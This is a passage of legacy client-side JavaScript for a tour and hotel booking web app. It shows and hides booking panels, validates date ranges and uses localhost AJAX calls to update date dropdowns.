var xmlHttp; 
    var requestURL = 'http://localhost:1544/TourBookAjax/Masters/Tour.aspx'; 
    var is_ie = (navigator.userAgent.indexOf('MSIE') >= 0) ? 1 : 0; 
    var is_ie5 = (navigator.appVersion.indexOf("MSIE 5.5")!=-1) ? 1 : 0; 
    var is_opera = ((navigator.userAgent.indexOf("Opera6")!=-1)||(navigator.userAgent.indexOf("Opera/6")!=-1)) ? 1 : 0; 
    //netscape, safari, mozilla behave the same??? 
    var is_netscape = (navigator.userAgent.indexOf('Netscape') >= 0) ? 1 : 0; 
    
    function showandhideselection(ivalue)
    {
		document.getElementById('pnlHotel').style.display="none";	
		document.getElementById('pnlAir').style.display="none";	
		document.getElementById('pnlCar').style.display="none";	
		if (ivalue == 1)
		{
		document.getElementById('pnlHotel').style.display="block";
		document.getElementById('Button4').disabled = false; 	
		}
		else 
		{
			if(ivalue == 2)
			{
				document.getElementById('pnlAir').style.display="block";	
				document.getElementById('Button4').disabled = true;	
			}			
			else
			{
				document.getElementById('pnlCar').style.display="block";	
				document.getElementById('Button4').disabled = true;			
			}
		}
    }
    
    function show_And_Hide_Selection(ivalue)
    {
        if (ivalue==1)
        {
            document.getElementById('tblPaymentDetails').style.display="none";
        }
    }
    function iChangeAllocation()
    {
				var chkPrePaid;
				
				
				chkPrePaid = document.getElementById('cmbmAllocationType');
				
				//alert(chkPrePaid.value)
				
				
				if(chkPrePaid.value == 'ALLOCATION')
				{
					document.getElementById('cmbmDate1').disabled = false;
					document.getElementById('cmbmMonth1').disabled = false;
					document.getElementById('cmbmYear1').disabled = false;
					document.getElementById('cmbmDate2').disabled = false;
					document.getElementById('cmbmMonth2').disabled = false;
					document.getElementById('cmbmYear2').disabled = false;
					document.getElementById('txtmAllocate').disabled = false;
				}
				else
				{
					document.getElementById('cmbmDate1').disabled = true;
					document.getElementById('cmbmMonth1').disabled = true;
					document.getElementById('cmbmYear1').disabled = true;
					document.getElementById('cmbmDate2').disabled = true;
					document.getElementById('cmbmMonth2').disabled = true;
					document.getElementById('cmbmYear2').disabled = true;
					document.getElementById('txtmAllocate').disabled = true;
				}
				
    }

function display_Payment_Detail()
{
    document.getElementById('tblPaymentDetails').style.display="none";
    document.getElementById('tblPaymentDetails').style.display="block";
}
function defData()
{		
    var SelectedValue;
    SelectedValue = document.getElementById('ddlRooms').value;
    //alert(SelectedValue)
    if (SelectedValue == 2)
    {
        document.getElementById('Mytable2').style.display="block";
        document.getElementById('Mytable3').style.display="none";
        document.getElementById('Mytable4').style.display="none";
        document.getElementById('Mytable5').style.display="none";
    }
    else if (SelectedValue == 3)
    {
        document.getElementById('Mytable2').style.display = "block";
        document.getElementById('Mytable3').style.display = "block";
        document.getElementById('Mytable4').style.display = "none";
        document.getElementById('Mytable5').style.display = "none";
    }
    else if (SelectedValue == 1)
    {
        document.getElementById('Mytable1').style.display = "block";
        document.getElementById('Mytable2').style.display = "block";
        document.getElementById('Mytable3').style.display = "block";
        document.getElementById('Mytable4').style.display = "block";
        document.getElementById('Mytable5').style.display = "block";
    }
    else if (SelectedValue == 4)
    {   
        document.getElementById('Mytable2').style.display = "block"; 
        document.getElementById('Mytable3').style.display = "block"; 
        document.getElementById('Mytable4').style.display = "block";
        document.getElementById('Mytable5').style.display = "none";
    }
    else if (SelectedValue == 5)
    {
        document.getElementById('Mytable2').style.display = "block"; 
        document.getElementById('Mytable3').style.display = "block"; 
        document.getElementById('Mytable4').style.display = "block";
        document.getElementById('Mytable5').style.display = "block";
    }
    else
    {
        document.getElementById('Mytable1').style.display = "block"; 
        document.getElementById('Mytable2').style.display = "none"; 
        document.getElementById('Mytable3').style.display = "none";
        document.getElementById('Mytable4').style.display = "none";
        document.getElementById('Mytable5').style.display = "none";
    }
}
function defDataday()
{		
    var SelectedValue;
    SelectedValue = document.getElementById('ddlDays').value;
    //alert(SelectedValue)
    if (SelectedValue == 1)
    {
        document.getElementById('Mytable1').style.display="block";
        document.getElementById('Mytable2').style.display="none";
        document.getElementById('Mytable3').style.display="none";
        document.getElementById('Mytable4').style.display="none";
        document.getElementById('Mytable5').style.display="none";
        document.getElementById('Mytable6').style.display="none";
        document.getElementById('Mytable7').style.display="none";
        document.getElementById('Mytable8').style.display="none";
        document.getElementById('Mytable9').style.display="none";
        document.getElementById('Mytable10').style.display="none";
        document.getElementById('Mytable11').style.display="none";
        document.getElementById('Mytable12').style.display="none";
        document.getElementById('Mytable13').style.display="none";
        document.getElementById('Mytable14').style.display="none";
        document.getElementById('Mytable15').style.display="none";
    }
    if (SelectedValue == 2)
    {
        document.getElementById('Mytable2').style.display="block";
        document.getElementById('Mytable3').style.display="none";
        document.getElementById('Mytable4').style.display="none";
        document.getElementById('Mytable5').style.display="none";
        document.getElementById('Mytable6').style.display="none";
        document.getElementById('Mytable7').style.display="none";
        document.getElementById('Mytable8').style.display="none";
        document.getElementById('Mytable9').style.display="none";
        document.getElementById('Mytable10').style.display="none";
        document.getElementById('Mytable11').style.display="none";
        document.getElementById('Mytable12').style.display="none";
        document.getElementById('Mytable13').style.display="none";
        document.getElementById('Mytable14').style.display="none";
        document.getElementById('Mytable15').style.display="none";
    }
    else if (SelectedValue == 3)
    {
        document.getElementById('Mytable2').style.display = "block";
        document.getElementById('Mytable3').style.display = "block";
        document.getElementById('Mytable4').style.display = "none";
        document.getElementById('Mytable5').style.display = "none";
        document.getElementById('Mytable6').style.display="none";
        document.getElementById('Mytable7').style.display="none";
        document.getElementById('Mytable8').style.display="none";
        document.getElementById('Mytable9').style.display="none";
        document.getElementById('Mytable10').style.display="none";
        document.getElementById('Mytable11').style.display="none";
        document.getElementById('Mytable12').style.display="none";
        document.getElementById('Mytable13').style.display="none";
        document.getElementById('Mytable14').style.display="none";
        document.getElementById('Mytable15').style.display="none";
    }
   
    else if (SelectedValue == 4)
    {   
        document.getElementById('Mytable2').style.display = "block"; 
        document.getElementById('Mytable3').style.display = "block"; 
        document.getElementById('Mytable4').style.display = "block";
        document.getElementById('Mytable5').style.display = "none";
        document.getElementById('Mytable6').style.display="none";
        document.getElementById('Mytable7').style.display="none";
        document.getElementById('Mytable8').style.display="none";
        document.getElementById('Mytable9').style.display="none";
        document.getElementById('Mytable10').style.display="none";
        document.getElementById('Mytable11').style.display="none";
        document.getElementById('Mytable12').style.display="none";
        document.getElementById('Mytable13').style.display="none";
        document.getElementById('Mytable14').style.display="none";
        document.getElementById('Mytable15').style.display="none";
    }
    else if (SelectedValue == 5)
    {
        document.getElementById('Mytable2').style.display = "block"; 
        document.getElementById('Mytable3').style.display = "block"; 
        document.getElementById('Mytable4').style.display = "block";
        document.getElementById('Mytable5').style.display = "block";
        document.getElementById('Mytable6').style.display="none";
        document.getElementById('Mytable7').style.display="none";
        document.getElementById('Mytable8').style.display="none";
        document.getElementById('Mytable9').style.display="none";
        document.getElementById('Mytable10').style.display="none";
        document.getElementById('Mytable11').style.display="none";
        document.getElementById('Mytable12').style.display="none";
        document.getElementById('Mytable13').style.display="none";
        document.getElementById('Mytable14').style.display="none";
        document.getElementById('Mytable15').style.display="none";
    }
    else if (SelectedValue == 6)
    {
        document.getElementById('Mytable2').style.display = "block"; 
        document.getElementById('Mytable3').style.display = "block"; 
        document.getElementById('Mytable4').style.display = "block";
        document.getElementById('Mytable5').style.display = "block";
        document.getElementById('Mytable6').style.display="block";
        document.getElementById('Mytable7').style.display="none";
        document.getElementById('Mytable8').style.display="none";
        document.getElementById('Mytable9').style.display="none";
        document.getElementById('Mytable10').style.display="none";
        document.getElementById('Mytable11').style.display="none";
        document.getElementById('Mytable12').style.display="none";
        document.getElementById('Mytable13').style.display="none";
        document.getElementById('Mytable14').style.display="none";
        document.getElementById('Mytable15').style.display="none";
    }
    else if (SelectedValue == 7)
    {
        document.getElementById('Mytable2').style.display = "block"; 
        document.getElementById('Mytable3').style.display = "block"; 
        document.getElementById('Mytable4').style.display = "block";
        document.getElementById('Mytable5').style.display = "block";
        document.getElementById('Mytable6').style.display="block";
        document.getElementById('Mytable7').style.display="block";
        document.getElementById('Mytable8').style.display="none";
        document.getElementById('Mytable9').style.display="none";
        document.getElementById('Mytable10').style.display="none";
        document.getElementById('Mytable11').style.display="none";
        document.getElementById('Mytable12').style.display="none";
        document.getElementById('Mytable13').style.display="none";
        document.getElementById('Mytable14').style.display="none";
        document.getElementById('Mytable15').style.display="none";
    }
    else if (SelectedValue == 8)
    {
        document.getElementById('Mytable2').style.display = "block"; 
        document.getElementById('Mytable3').style.display = "block"; 
        document.getElementById('Mytable4').style.display = "block";
        document.getElementById('Mytable5').style.display = "block";
        document.getElementById('Mytable6').style.display="block";
        document.getElementById('Mytable7').style.display="block";
        document.getElementById('Mytable8').style.display="block";
        document.getElementById('Mytable9').style.display="none";
        document.getElementById('Mytable10').style.display="none";
        document.getElementById('Mytable11').style.display="none";
        document.getElementById('Mytable12').style.display="none";
        document.getElementById('Mytable13').style.display="none";
        document.getElementById('Mytable14').style.display="none";
        document.getElementById('Mytable15').style.display="none";
    }
    else if (SelectedValue == 9)
    {
        document.getElementById('Mytable2').style.display = "block"; 
        document.getElementById('Mytable3').style.display = "block"; 
        document.getElementById('Mytable4').style.display = "block";
        document.getElementById('Mytable5').style.display = "block";
        document.getElementById('Mytable6').style.display="block";
        document.getElementById('Mytable7').style.display="block";
        document.getElementById('Mytable8').style.display="block";
        document.getElementById('Mytable9').style.display="block";
        document.getElementById('Mytable10').style.display="none";
        document.getElementById('Mytable11').style.display="none";
        document.getElementById('Mytable12').style.display="none";
        document.getElementById('Mytable13').style.display="none";
        document.getElementById('Mytable14').style.display="none";
        document.getElementById('Mytable15').style.display="none";
    }
    else if (SelectedValue == 10)
    {
        document.getElementById('Mytable2').style.display = "block"; 
        document.getElementById('Mytable3').style.display = "block"; 
        document.getElementById('Mytable4').style.display = "block";
        document.getElementById('Mytable5').style.display = "block";
        document.getElementById('Mytable6').style.display="block";
        document.getElementById('Mytable7').style.display="block";
        document.getElementById('Mytable8').style.display="block";
        document.getElementById('Mytable9').style.display="block";
        document.getElementById('Mytable10').style.display="block";
        document.getElementById('Mytable11').style.display="none";
        document.getElementById('Mytable12').style.display="none";
        document.getElementById('Mytable13').style.display="none";
        document.getElementById('Mytable14').style.display="none";
        document.getElementById('Mytable15').style.display="none";
    }
    else if (SelectedValue == 11)
    {
        document.getElementById('Mytable2').style.display = "block"; 
        document.getElementById('Mytable3').style.display = "block"; 
        document.getElementById('Mytable4').style.display = "block";
        document.getElementById('Mytable5').style.display = "block";
        document.getElementById('Mytable6').style.display="block";
        document.getElementById('Mytable7').style.display="block";
        document.getElementById('Mytable8').style.display="block";
        document.getElementById('Mytable9').style.display="block";
        document.getElementById('Mytable10').style.display="block";
        document.getElementById('Mytable11').style.display="block";
        document.getElementById('Mytable12').style.display="none";
        document.getElementById('Mytable13').style.display="none";
        document.getElementById('Mytable14').style.display="none";
        document.getElementById('Mytable15').style.display="none";
    }
    else if (SelectedValue == 12)
    {
        document.getElementById('Mytable2').style.display = "block"; 
        document.getElementById('Mytable3').style.display = "block"; 
        document.getElementById('Mytable4').style.display = "block";
        document.getElementById('Mytable5').style.display = "block";
        document.getElementById('Mytable6').style.display="block";
        document.getElementById('Mytable7').style.display="block";
        document.getElementById('Mytable8').style.display="block";
        document.getElementById('Mytable9').style.display="block";
        document.getElementById('Mytable10').style.display="block";
        document.getElementById('Mytable11').style.display="block";
        document.getElementById('Mytable12').style.display="block";
        document.getElementById('Mytable13').style.display="none";
        document.getElementById('Mytable14').style.display="none";
        document.getElementById('Mytable15').style.display="none";
    }
    else if (SelectedValue == 13)
    {
        document.getElementById('Mytable2').style.display = "block"; 
        document.getElementById('Mytable3').style.display = "block"; 
        document.getElementById('Mytable4').style.display = "block";
        document.getElementById('Mytable5').style.display = "block";
        document.getElementById('Mytable6').style.display="block";
        document.getElementById('Mytable7').style.display="block";
        document.getElementById('Mytable8').style.display="block";
        document.getElementById('Mytable9').style.display="block";
        document.getElementById('Mytable10').style.display="block";
        document.getElementById('Mytable11').style.display="block";
        document.getElementById('Mytable12').style.display="block";
        document.getElementById('Mytable13').style.display="block";
        document.getElementById('Mytable14').style.display="none";
        document.getElementById('Mytable15').style.display="none";
    }
    else if (SelectedValue == 14)
    {
        document.getElementById('Mytable2').style.display = "block"; 
        document.getElementById('Mytable3').style.display = "block"; 
        document.getElementById('Mytable4').style.display = "block";
        document.getElementById('Mytable5').style.display = "block";
        document.getElementById('Mytable6').style.display="block";
        document.getElementById('Mytable7').style.display="block";
        document.getElementById('Mytable8').style.display="block";
        document.getElementById('Mytable9').style.display="block";
        document.getElementById('Mytable10').style.display="block";
        document.getElementById('Mytable11').style.display="block";
        document.getElementById('Mytable12').style.display="block";
        document.getElementById('Mytable13').style.display="block";
        document.getElementById('Mytable14').style.display="block";
        document.getElementById('Mytable15').style.display="none";
    }
    else if (SelectedValue == 15)
    {
        document.getElementById('Mytable2').style.display = "block"; 
        document.getElementById('Mytable3').style.display = "block"; 
        document.getElementById('Mytable4').style.display = "block";
        document.getElementById('Mytable5').style.display = "block";
        document.getElementById('Mytable6').style.display="block";
        document.getElementById('Mytable7').style.display="block";
        document.getElementById('Mytable8').style.display="block";
        document.getElementById('Mytable9').style.display="block";
        document.getElementById('Mytable10').style.display="block";
        document.getElementById('Mytable11').style.display="block";
        document.getElementById('Mytable12').style.display="block";
        document.getElementById('Mytable13').style.display="block";
        document.getElementById('Mytable14').style.display="block";
        document.getElementById('Mytable15').style.display="block";
    }
    else
    {
        document.getElementById('Mytable1').style.display = "block"; 
        document.getElementById('Mytable2').style.display = "none"; 
        document.getElementById('Mytable3').style.display = "none";
        document.getElementById('Mytable4').style.display = "none";
        document.getElementById('Mytable5').style.display = "none";
    }
}
		
		function checkdate()
		{
			//alert("hai...")
			//var validformat=/^\d{2}\/\d{2}\/\d{4}$/ //Basic check for format validity
			//var returnval=false
			//if (!validformat.test(input.value))
			//	alert("Invalid Date Format. Please correct and submit again.")
			//else
			//{ //Detailed check for valid date ranges
			
			var myDate = new Date();
			var MyCurrDate = new Date();
			var myDate2 = new Date();
			
			//alert(CurrDate.valueOf())
			
			/*var oldDay;
			var oldDay2;
			var oldMonth;			
			var oldMonth2;			
			var oldYear;		
			var oldYear2;		*/
			
			
				
				var monthfield=document.getElementById('cmbmMonth1').value; 				
				var dayfield=document.getElementById('cmbmDate1').value;
				var yearfield=document.getElementById('cmbmYear1').value;
				var dayobj = new Date(yearfield, monthfield-1, dayfield);
				myDate.setFullYear(yearfield,monthfield-1,dayfield);			
				
				//MyCurrDate.setFullYear(MyCurrDate.getFullYear(),MyCurrDate.getMonth(),MyCurrDate.getDate()+7);
				
								
				var monthfield2=document.getElementById('cmbmMonth2').value; 
				var dayfield2=document.getElementById('cmbmDate2').value;
				var yearfield2=document.getElementById('cmbmYear2').value;
				var dayobj2 = new Date(yearfield2, monthfield2-1, dayfield2);
				myDate2.setFullYear( yearfield2, monthfield2-1, dayfield2); 
				
				var ilocation;
				ilocation = document.getElementById('cmbmLocation').value; 
				
				
						
				if (ilocation==-1)
				{
					alert("Select location");
						return 0;
				}
				else
				{
					if((MyCurrDate.setFullYear(MyCurrDate.getFullYear(),MyCurrDate.getMonth(),MyCurrDate.getDate()+6)) > (myDate.setFullYear( yearfield, monthfield-1, dayfield )))
					{
						alert("Date should be grater then 7 days from current date.");
					}
					else
					{
					
						if ((dayobj.getMonth()+1!=monthfield)||(dayobj.getDate()!=dayfield)||(dayobj.getFullYear()!=yearfield))
						{
							alert("Invalid Day, Month, or Year range detected. Please correct and submit again.");
							//return 0
							//break;
						}
						else
						{
							if ((dayobj2.getMonth()+1!=monthfield2)||(dayobj2.getDate()!=dayfield2)||(dayobj2.getFullYear()!=yearfield2))
							{
							alert("Invalid Day, Month, or Year range detected. Please correct and submit again.");
							//return 0
							//break;
							}
							else
							{
								//if (myDate2<myDate)						
								if((myDate.setFullYear( yearfield, monthfield-1, dayfield ))>(myDate2.setFullYear( yearfield2, monthfield2-1, dayfield2)))
								{
									alert("Invalide date range detected");					
									//return 0
									//break;
								}
							}
						}
					}				
				}
		}    
		
		// /*******************
		
		
		function checkdateSearch()
		{
						
			var myDate = new Date();
			var MyCurrDate = new Date();
			var myDate2 = new Date();			
			//SearchBar1_cmbmYear1
				
				var monthfield=document.getElementById('SearchBar1_cmbmMonth1').value; 				
				var dayfield=document.getElementById('SearchBar1_cmbmDate1').value;
				var yearfield=document.getElementById('SearchBar1_cmbmYear1').value;
				var dayobj = new Date(yearfield, monthfield-1, dayfield);
				myDate.setFullYear(yearfield,monthfield-1,dayfield);			
								
				var monthfield2=document.getElementById('SearchBar1_cmbmMonth2').value; 
				var dayfield2=document.getElementById('SearchBar1_cmbmDate2').value;
				var yearfield2=document.getElementById('SearchBar1_cmbmYear2').value;
				var dayobj2 = new Date(yearfield2, monthfield2-1, dayfield2);
				myDate2.setFullYear( yearfield2, monthfield2-1, dayfield2); 
				
				var ilocation;
				ilocation = document.getElementById('SearchBar1_cmbmLocation').value; 
				
				if (ilocation==-1)
				{
					alert("Select location");
						return 0;
				}
				else
				{	
				
					if((MyCurrDate.setFullYear(MyCurrDate.getFullYear(),MyCurrDate.getMonth(),MyCurrDate.getDate()+6)) > (myDate.setFullYear( yearfield, monthfield-1, dayfield )))
					{
						alert("Date should be grater then 7 days from current date.");
					}
					else
					{
					
						if ((dayobj.getMonth()+1!=monthfield)||(dayobj.getDate()!=dayfield)||(dayobj.getFullYear()!=yearfield))
						{
							alert("Invalid Day, Month, or Year range detected. Please correct and submit again.");
							//return 0
							//break;
						}
						else
						{
							if ((dayobj2.getMonth()+1!=monthfield2)||(dayobj2.getDate()!=dayfield2)||(dayobj2.getFullYear()!=yearfield2))
							{
							alert("Invalid Day, Month, or Year range detected. Please correct and submit again.");
							//return 0
							//break;
							}
							else
							{
								//if (myDate2<myDate)						
								if((myDate.setFullYear( yearfield, monthfield-1, dayfield ))>(myDate2.setFullYear( yearfield2, monthfield2-1, dayfield2)))
								{
									alert("Invalide date range detected");					
									//return 0
									//break;
								}
							}
						}
					}				
				}
		}    
		
		
		
		
		// /*******************
		
		
		
    function showdatevalue()/* DATE INCREMENT BY 1 */
    {
	
		//alert(document.getElementByname('cmbmMonth1'))
		//alert("showdatevalue")
	 strdate =  document.getElementById('cmbmMonth1').value + "/" + document.getElementById('cmbmDate1').value + "/" + document.getElementById('cmbmYear1').value
	
//strdate = document.all['cmbmMonth1'].value + "/" + document.all['cmbmDate1'].value + "/" + document.all['cmbmYear1'].value
//strdate = document.forms[0].cmbmMonth1

///strdate = document.getElementById('SearchBar1_cmbmDate1').value
//alert(strdate)
//documen
																
		 requestURL = 'http://localhost/HB_FINAL/AjaxUpdateDate.aspx?q=';
		 
		
		var url = requestURL + strdate + "&link=Date"; 
		//alert(url)
            
            //Create the xmlHttp object to use in the request 
            //stateChangeHandler will fire when the state has changed, i.e. data is received back 
            // This is non-blocking (asynchronous) 
            xmlHttp = GetXmlHttpObject(stateChangeHandlerdate); 
             
            //Send the xmlHttp get to the specified url 
        
            xmlHttp_Get(xmlHttp, url);  
            
    }

    //stateChangeHandler will fire when the state has changed, i.e. data is received back 
    // This is non-blocking (asynchronous) 
   
    
    function stateChangeHandlerdate() 
    { 
        //readyState of 4 or 'complete' represents that data has been returned 
        if (xmlHttp.readyState == 4 || xmlHttp.readyState == 'complete'){ 
            //Gather the results from the callback 
            var str = xmlHttp.responseText;
                         
          
            document.getElementById('nameList').innerHTML = str;             
            str = document.getElementById('nameList').innerHTML;  
            document.getElementById('nameList').innerHTML = "";                    
        
           var imonth = document.getElementById('cmbmMonth2').options;             
           var iday = document.getElementById('cmbmDate2').options;           
           var iyear = document.getElementById('cmbmYear2').options;          
           
           var tempmonth;
           var iselectedindex;
           
           str = str.split("/");
           
           /* month calculation*/
           for(j=0;j<imonth.length;j++)           
           {			
				
				tempmonth = document.getElementById('cmbmMonth2').options[j];							
				if(parseFloat(tempmonth.value) == parseFloat(str[0]))
				{
					iselectedindex = j;					
					break;
				}		
			
          }
          document.getElementById('cmbmMonth2').selectedIndex = iselectedindex;
          
          /* day calculation*/
          for(j=0;j<iday.length;j++)           
           {			
				tempmonth = document.getElementById('cmbmDate2').options[j];				
				
				if(parseFloat(tempmonth.value) == str[1])
				{
					iselectedindex = j;						
					break;				
				}		
			
          }
          document.getElementById('cmbmDate2').selectedIndex = iselectedindex;
          
          /* year calculation*/
          for(j=0;j<iyear.length;j++)           
           {			
				tempmonth = document.getElementById('cmbmYear2').options[j];
				if(parseFloat(tempmonth.value) == str[2])
				{
					iselectedindex = j;
					break;					
				}					
          }
          document.getElementById('cmbmYear2').selectedIndex = iselectedindex;
                  
        } 
    } 
    function showdatevalueSearchBar()/* DATE INCREMENT BY 1 IN  usercontrol */
    {
		//alert("nirmal")
		//alert(document.getElementByname('cmbmMonth1'))
																									  // SearchBar1_cmbmDate1
	strdate =  document.getElementById('SearchBar1_cmbmMonth1').value + "/" + document.getElementById('SearchBar1_cmbmDate1').value + "/" + document.getElementById('SearchBar1_cmbmYear1').value;
//strdate = document.all['cmbmMonth1'].value + "/" + document.all['cmbmDate1'].value + "/" + document.all['cmbmYear1'].value
//strdate = document.getElementById('cmbmDate1').ClientID

///strdate = document.getElementById('SearchBar1_cmbmDate1').value
//alert(strdate)
//documen
	//alert(strdate)
																
		 requestURL = 'http://localhost/HB_FINAL/AjaxUpdateDate.aspx?q=';
		
		var url = requestURL + strdate + "&link=Date"; 
				
            // alert(url)
            //Create the xmlHttp object to use in the request 
            //stateChangeHandler will fire when the state has changed, i.e. data is received back 
            // This is non-blocking (asynchronous) 
            xmlHttp = GetXmlHttpObject(stateChangeHandlerdateSearchBar); 
             
            //Send the xmlHttp get to the specified url 
        
            xmlHttp_Get(xmlHttp, url); 
    }

    //stateChangeHandler will fire when the state has changed, i.e. data is received back 
    // This is non-blocking (asynchronous) 
   
    
    function stateChangeHandlerdateSearchBar() 
    { 
        //readyState of 4 or 'complete' represents that data has been returned 
        if (xmlHttp.readyState == 4 || xmlHttp.readyState == 'complete'){ 
            //Gather the results from the callback 
            var str = xmlHttp.responseText; 
            
           // alert(str)
          
            document.getElementById('nameList').innerHTML = str;             
            str = document.getElementById('nameList').innerHTML;  
            document.getElementById('nameList').innerHTML = "";                    
            
        // alert(str)
           var imonth = document.getElementById('SearchBar1_cmbmMonth2').options;             
           var iday = document.getElementById('SearchBar1_cmbmDate2').options;           
           var iyear = document.getElementById('SearchBar1_cmbmYear2').options;          
           
           var tempmonth;
           var iselectedindex;
           
           str = str.split("/"); 
           /*alert(str[0])          
           alert(str[1])          
           alert(str[2])          */
           
           /* month calculation*/
           for(j=0;j<imonth.length;j++)           
           {			
				
				tempmonth = document.getElementById('SearchBar1_cmbmMonth2').options[j];							
				if(parseFloat(tempmonth.value) == parseFloat(str[0]))
				{
					iselectedindex = j;					
					break;
				}		
			
          }
          document.getElementById('SearchBar1_cmbmMonth2').selectedIndex = iselectedindex;
          
          /* day calculation*/
          for(j=0;j<iday.length;j++)           
           {			
				tempmonth = document.getElementById('SearchBar1_cmbmDate2').options[j];				
				if(parseFloat(tempmonth.value) == str[1])
				{
					iselectedindex = j;	
					break;				
				}		
			
          }
          document.getElementById('SearchBar1_cmbmDate2').selectedIndex = iselectedindex;
          
          /* year calculation*/
          for(j=0;j<iyear.length;j++)           
           {			
				tempmonth = document.getElementById('SearchBar1_cmbmYear2').options[j];
				if(parseFloat(tempmonth.value) == str[2])
				{
					iselectedindex = j;
					break;					
				}					
          }
          document.getElementById('SearchBar1_cmbmYear2').selectedIndex = iselectedindex;
                  
        } 
    } 
    
    /* MONTH INCREMENT BY 1*/
    function showmonthvalue()
    {
		
		strdate =  document.getElementById('cmbmMonth1').value + "/" + document.getElementById('cmbmDate1').value + "/" + document.getElementById('cmbmYear1').value;
		
		 requestURL = 'http://localhost/HB_FINAL/AjaxUpdateDate.aspx?q=';
		
		var url = requestURL + strdate + "&link=Month"; 
		
            // alert(url)
            //Create the xmlHttp object to use in the request 
            //stateChangeHandler will fire when the state has changed, i.e. data is received back 
            // This is non-blocking (asynchronous) 
            xmlHttp = GetXmlHttpObject(stateChangeHandlermonth); 
             
            //Send the xmlHttp get to the specified url 
        
            xmlHttp_Get(xmlHttp, url); 
    }

    //stateChangeHandler will fire when the state has changed, i.e. data is received back 
    // This is non-blocking (asynchronous) 
   
    
    function stateChangeHandlermonth() 
    { 
        //readyState of 4 or 'complete' represents that data has been returned 
        if (xmlHttp.readyState == 4 || xmlHttp.readyState == 'complete'){ 
            //Gather the results from the callback 
            var str = xmlHttp.responseText; 
          
            document.getElementById('nameList').innerHTML = str;             
            str = document.getElementById('nameList').innerHTML;  
            document.getElementById('nameList').innerHTML = "";                    
        
           var imonth = document.getElementById('cmbmMonth2').options;             
           var iday = document.getElementById('cmbmDate2').options;           
           var iyear = document.getElementById('cmbmYear2').options;          
           
           var tempmonth;
           var iselectedindex;
           
           str = str.split("/");           
           
           /* month calculation*/
           for(j=0;j<imonth.length;j++)           
           {			
				
				tempmonth = document.getElementById('cmbmMonth2').options[j];							
				if(parseFloat(tempmonth.value) == parseFloat(str[0]))
				{
					iselectedindex = j;					
					break;
				}		
			
          }
          document.getElementById('cmbmMonth2').selectedIndex = iselectedindex;
          
          /* day calculation*/
          for(j=0;j<iday.length;j++)           
           {			
				tempmonth = document.getElementById('cmbmDate2').options[j];				
				if(parseFloat(tempmonth.value) == str[1])
				{
					iselectedindex = j;	
					break;				
				}		
			
          }
          document.getElementById('cmbmDate2').selectedIndex = iselectedindex;
          
          /* year calculation*/
          for(j=0;j<iyear.length;j++)           
           {			
				tempmonth = document.getElementById('cmbmYear2').options[j];
				if(parseFloat(tempmonth.value) == str[2])
				{
					iselectedindex = j;
					break;					
				}					
          }
          document.getElementById('cmbmYear2').selectedIndex = iselectedindex;
                  
        } 
    } 
    
    /*  RENEWAL */
    
     function showdatevalueRenewal()/* DATE INCREMENT BY 1 */
    {
		
		
		strdate =  document.getElementById('cmbmMonth1').value + "/" + document.getElementById('cmbmDate1').value + "/" + document.getElementById('cmbmYear1').value;
		
		requestURL = 'http://localhost/HB_FINAL/AjaxUpdateDate.aspx?q=';
		
		var url = requestURL + strdate + "&link=Renewal"; 
		
             //alert(url)
            //Create the xmlHttp object to use in the request 
            //stateChangeHandler will fire when the state has changed, i.e. data is received back 
            // This is non-blocking (asynchronous) 
            xmlHttp = GetXmlHttpObject(stateChangeHandlerdateRenewal); 
             
            //Send the xmlHttp get to the specified url 
        
            xmlHttp_Get(xmlHttp, url); 
    }

    //stateChangeHandler will fire when the state has changed, i.e. data is received back 
    // This is non-blocking (asynchronous)    
    
    function stateChangeHandlerdateRenewal() 
    { 
        //readyState of 4 or 'complete' represents that data has been returned 
        if (xmlHttp.readyState == 4 || xmlHttp.readyState == 'complete'){ 
            //Gather the results from the callback 
            var str = xmlHttp.responseText; 
            //alert(str)                  
          
            document.getElementById('nameList').innerHTML = str;             
            str = document.getElementById('nameList').innerHTML;  
            document.getElementById('nameList').innerHTML = "";  
            //alert(str)               
        
           var imonth = document.getElementById('cmbmMonth2').options;             
           var iday = document.getElementById('cmbmDate2').options;           
           var iyear = document.getElementById('cmbmYear2').options;          
           
           var tempmonth;
           var iselectedindex;
           
           str = str.split("/");           
           //alert(str[0])                  
           
           /* month calculation*/
           for(j=0;j<imonth.length;j++)           
           {			
				
				tempmonth = document.getElementById('cmbmMonth2').options[j];							
				if(parseFloat(tempmonth.value) == parseFloat(str[0]))
				{
					iselectedindex = j;					
					break;
				}		
			
          }
          document.getElementById('cmbmMonth2').selectedIndex = iselectedindex;
          
          /* day calculation*/
          for(j=0;j<iday.length;j++)           
           {			
				tempmonth = document.getElementById('cmbmDate2').options[j];			
				if(parseFloat(tempmonth.value) == str[1])
				{
					iselectedindex = j;	
					break;				
				}		
			
          }
          document.getElementById('cmbmDate2').selectedIndex = iselectedindex;
          
          /* year calculation*/
          for(j=0;j<iyear.length;j++)           
           {			
				tempmonth = document.getElementById('cmbmYear2').options[j];
				if(parseFloat(tempmonth.value) == str[2])
				{
					iselectedindex = j;
					break;					
				}					
          }
          document.getElementById('cmbmYear2').selectedIndex = iselectedindex;
                  
        } 
    } 

/* PREPAID DATE CHANGE USING AJAX */

function showPreYearvalue()/* YEAR INCREMENT BY 1 */
    {
		
		strdate =  document.getElementById('cmbmPreMonth1').value + "/" + document.getElementById('cmbmPreDate1').value + "/" + document.getElementById('cmbmPreYear1').value;
		
		 requestURL = 'http://localhost/HB_FINAL/AjaxUpdateDate.aspx?q=';
		
		var url = requestURL + strdate + "&link=Year"; 
		
            // alert(url)
            //Create the xmlHttp object to use in the request 
            //stateChangeHandler will fire when the state has changed, i.e. data is received back 
            // This is non-blocking (asynchronous) 
            xmlHttp = GetXmlHttpObject(stateChangeHandlerPreYear); 
             
            //Send the xmlHttp get to the specified url 
        
            xmlHttp_Get(xmlHttp, url); 
    }

    //stateChangeHandler will fire when the state has changed, i.e. data is received back 
    // This is non-blocking (asynchronous) 
   
    
    function stateChangeHandlerPreYear() 
    { 
        //readyState of 4 or 'complete' represents that data has been returned 
        if (xmlHttp.readyState == 4 || xmlHttp.readyState == 'complete'){ 
            //Gather the results from the callback 
            var str = xmlHttp.responseText;
          
            document.getElementById('nameList').innerHTML = str;             
            str = document.getElementById('nameList').innerHTML;  
            document.getElementById('nameList').innerHTML = "";                    
        
           var imonth = document.getElementById('cmbmPreMonth2').options;             
           var iday = document.getElementById('cmbmPreDate2').options;           
           var iyear = document.getElementById('cmbmPreYear2').options;          
           
           var tempmonth;
           var iselectedindex;
           
           str = str.split("/");           
           
           /* month calculation*/
           for(j=0;j<imonth.length;j++)           
           {			
				
